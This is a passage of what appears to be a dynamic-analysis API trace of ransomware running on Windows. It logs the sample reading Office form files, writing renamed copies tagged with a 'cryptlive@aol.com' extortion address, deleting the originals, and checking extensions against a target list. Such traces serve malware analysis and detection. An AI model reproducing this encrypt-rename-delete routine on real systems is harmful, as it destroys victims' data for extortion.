(lpString="DISTLSTL.ICO") returned 12 [0156.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlstl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0156.667] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1078) returned 1 [0156.667] CloseHandle (hObject=0x380) returned 1 [0156.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlstl.ico")) returned 0x20 [0156.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlstl.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlstl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0156.681] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.681] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlstl.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0156.682] GetLastError () returned 0x0 [0156.682] ReadFile (in: hFile=0x1b8, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x436, lpOverlapped=0x0) returned 1 [0156.683] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x440, lpOverlapped=0x0) returned 1 [0156.684] ReadFile (in: hFile=0x1b8, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0156.684] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0156.684] SetEndOfFile (hFile=0x1dc) returned 1 [0156.685] CloseHandle (hObject=0x1dc) returned 1 [0156.685] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.685] SetEndOfFile (hFile=0x1b8) returned 1 [0156.687] CloseHandle (hObject=0x1b8) returned 1 [0156.687] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.688] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlstl.ico")) returned 1 [0156.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO") returned 66 [0156.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO") returned 66 [0156.689] lstrlenW (lpString=".doc") returned 4 [0156.689] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0156.689] lstrlenW (lpString=".docx") returned 5 [0156.689] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0156.689] lstrlenW (lpString=".pdf") returned 4 [0156.689] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0156.689] lstrlenW (lpString=".xls") returned 4 [0156.689] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0156.689] lstrlenW (lpString=".xlsx") returned 5 [0156.689] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0156.689] lstrlenW (lpString=".ppt") returned 4 [0156.689] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0156.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO") returned 66 [0156.689] lstrlenW (lpString=".zip") returned 4 [0156.689] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0156.689] lstrlenW (lpString=".rar") returned 4 [0156.689] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0156.689] lstrlenW (lpString=".bz2") returned 4 [0156.689] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0156.689] lstrlenW (lpString=".7z") returned 3 [0156.689] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0156.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO") returned 66 [0156.689] lstrlenW (lpString=".dbf") returned 4 [0156.689] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0156.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO") returned 66 [0156.689] lstrlenW (lpString=".1cd") returned 4 [0156.689] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0156.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO") returned 66 [0156.689] lstrlenW (lpString=".jpg") returned 4 [0156.689] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0156.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO") returned 66 [0156.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO") returned 66 [0156.689] lstrlenW (lpString=".doc") returned 4 [0156.689] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0156.689] lstrlenW (lpString=".docx") returned 5 [0156.689] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0156.690] lstrlenW (lpString=".pdf") returned 4 [0156.690] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0156.690] lstrlenW (lpString=".xls") returned 4 [0156.690] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0156.690] lstrlenW (lpString=".xlsx") returned 5 [0156.690] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0156.690] lstrlenW (lpString=".ppt") returned 4 [0156.690] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0156.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO") returned 66 [0156.690] lstrlenW (lpString=".zip") returned 4 [0156.690] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0156.690] lstrlenW (lpString=".rar") returned 4 [0156.690] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0156.690] lstrlenW (lpString=".bz2") returned 4 [0156.690] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0156.690] lstrlenW (lpString=".7z") returned 3 [0156.690] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0156.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO") returned 66 [0156.690] lstrlenW (lpString=".dbf") returned 4 [0156.690] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0156.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO") returned 66 [0156.690] lstrlenW (lpString=".1cd") returned 4 [0156.690] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0156.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTL.ICO") returned 66 [0156.690] lstrlenW (lpString=".jpg") returned 4 [0156.690] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0156.690] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0156.690] lstrlenW (lpString="DISTLSTS.ICO") returned 12 [0156.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlsts.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0156.691] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=2998) returned 1 [0156.691] CloseHandle (hObject=0x1b8) returned 1 [0156.692] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlsts.ico")) returned 0x20 [0156.692] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlsts.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlsts.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0156.692] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.692] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlsts.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0156.693] GetLastError () returned 0x0 [0156.693] ReadFile (in: hFile=0x1b8, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0156.694] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0156.695] ReadFile (in: hFile=0x1b8, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0156.695] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0156.695] SetEndOfFile (hFile=0x1dc) returned 1 [0156.695] CloseHandle (hObject=0x1dc) returned 1 [0156.696] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.696] SetEndOfFile (hFile=0x1b8) returned 1 [0156.698] CloseHandle (hObject=0x1b8) returned 1 [0156.698] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.698] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlsts.ico")) returned 1 [0156.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO") returned 66 [0156.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO") returned 66 [0156.699] lstrlenW (lpString=".doc") returned 4 [0156.699] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0156.699] lstrlenW (lpString=".docx") returned 5 [0156.699] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0156.699] lstrlenW (lpString=".pdf") returned 4 [0156.699] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0156.699] lstrlenW (lpString=".xls") returned 4 [0156.699] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0156.699] lstrlenW (lpString=".xlsx") returned 5 [0156.699] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0156.699] lstrlenW (lpString=".ppt") returned 4 [0156.699] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0156.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO") returned 66 [0156.699] lstrlenW (lpString=".zip") returned 4 [0156.699] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0156.699] lstrlenW (lpString=".rar") returned 4 [0156.699] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0156.699] lstrlenW (lpString=".bz2") returned 4 [0156.699] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0156.699] lstrlenW (lpString=".7z") returned 3 [0156.699] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0156.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO") returned 66 [0156.699] lstrlenW (lpString=".dbf") returned 4 [0156.699] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0156.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO") returned 66 [0156.699] lstrlenW (lpString=".1cd") returned 4 [0156.700] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0156.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO") returned 66 [0156.700] lstrlenW (lpString=".jpg") returned 4 [0156.700] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0156.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO") returned 66 [0156.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO") returned 66 [0156.700] lstrlenW (lpString=".doc") returned 4 [0156.700] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0156.700] lstrlenW (lpString=".docx") returned 5 [0156.700] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0156.700] lstrlenW (lpString=".pdf") returned 4 [0156.700] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0156.700] lstrlenW (lpString=".xls") returned 4 [0156.700] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0156.700] lstrlenW (lpString=".xlsx") returned 5 [0156.700] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0156.700] lstrlenW (lpString=".ppt") returned 4 [0156.700] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0156.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO") returned 66 [0156.700] lstrlenW (lpString=".zip") returned 4 [0156.700] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0156.700] lstrlenW (lpString=".rar") returned 4 [0156.700] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0156.700] lstrlenW (lpString=".bz2") returned 4 [0156.700] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0156.700] lstrlenW (lpString=".7z") returned 3 [0156.700] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0156.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO") returned 66 [0156.700] lstrlenW (lpString=".dbf") returned 4 [0156.700] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0156.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO") returned 66 [0156.700] lstrlenW (lpString=".1cd") returned 4 [0156.700] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0156.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO") returned 66 [0156.700] lstrlenW (lpString=".jpg") returned 4 [0156.700] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0156.701] lstrcmpiW (lpString1=".CFG", lpString2=".LIVE") returned -1 [0156.701] lstrlenW (lpString="DOC.CFG") returned 7 [0156.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\doc.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0156.701] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=765) returned 1 [0156.701] CloseHandle (hObject=0x1b8) returned 1 [0156.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\doc.cfg")) returned 0x20 [0156.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\doc.cfg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\doc.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0156.702] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.702] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\doc.cfg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0156.702] GetLastError () returned 0x0 [0156.703] ReadFile (in: hFile=0x1b8, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x2fd, lpOverlapped=0x0) returned 1 [0156.825] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x300, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x300, lpOverlapped=0x0) returned 1 [0156.826] ReadFile (in: hFile=0x1b8, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0156.826] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0156.826] SetEndOfFile (hFile=0x1dc) returned 1 [0156.826] CloseHandle (hObject=0x1dc) returned 1 [0156.826] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.826] SetEndOfFile (hFile=0x1b8) returned 1 [0156.828] CloseHandle (hObject=0x1b8) returned 1 [0156.828] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.829] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\doc.cfg")) returned 1 [0156.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG") returned 61 [0156.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG") returned 61 [0156.832] lstrlenW (lpString=".doc") returned 4 [0156.832] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0156.833] lstrlenW (lpString=".docx") returned 5 [0156.833] lstrcmpiW (lpString1=".docx", lpString2="C.CFG") returned -1 [0156.833] lstrlenW (lpString=".pdf") returned 4 [0156.833] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0156.833] lstrlenW (lpString=".xls") returned 4 [0156.833] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0156.833] lstrlenW (lpString=".xlsx") returned 5 [0156.833] lstrcmpiW (lpString1=".xlsx", lpString2="C.CFG") returned -1 [0156.833] lstrlenW (lpString=".ppt") returned 4 [0156.833] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0156.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG") returned 61 [0156.833] lstrlenW (lpString=".zip") returned 4 [0156.833] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0156.833] lstrlenW (lpString=".rar") returned 4 [0156.833] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0156.833] lstrlenW (lpString=".bz2") returned 4 [0156.833] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0156.833] lstrlenW (lpString=".7z") returned 3 [0156.833] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0156.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG") returned 61 [0156.833] lstrlenW (lpString=".dbf") returned 4 [0156.833] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0156.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG") returned 61 [0156.833] lstrlenW (lpString=".1cd") returned 4 [0156.833] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0156.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG") returned 61 [0156.833] lstrlenW (lpString=".jpg") returned 4 [0156.833] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0156.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG") returned 61 [0156.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG") returned 61 [0156.833] lstrlenW (lpString=".doc") returned 4 [0156.833] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0156.833] lstrlenW (lpString=".docx") returned 5 [0156.833] lstrcmpiW (lpString1=".docx", lpString2="C.CFG") returned -1 [0156.833] lstrlenW (lpString=".pdf") returned 4 [0156.833] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0156.834] lstrlenW (lpString=".xls") returned 4 [0156.834] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0156.834] lstrlenW (lpString=".xlsx") returned 5 [0156.834] lstrcmpiW (lpString1=".xlsx", lpString2="C.CFG") returned -1 [0156.834] lstrlenW (lpString=".ppt") returned 4 [0156.834] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0156.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG") returned 61 [0156.834] lstrlenW (lpString=".zip") returned 4 [0156.834] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0156.834] lstrlenW (lpString=".rar") returned 4 [0156.834] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0156.834] lstrlenW (lpString=".bz2") returned 4 [0156.834] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0156.834] lstrlenW (lpString=".7z") returned 3 [0156.834] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0156.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG") returned 61 [0156.834] lstrlenW (lpString=".dbf") returned 4 [0156.834] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0156.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG") returned 61 [0156.834] lstrlenW (lpString=".1cd") returned 4 [0156.834] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0156.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG") returned 61 [0156.834] lstrlenW (lpString=".jpg") returned 4 [0156.834] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0156.834] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0156.834] lstrlenW (lpString="INFOML.ICO") returned 10 [0156.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infoml.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0156.844] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=25214) returned 1 [0156.844] CloseHandle (hObject=0x350) returned 1 [0156.844] 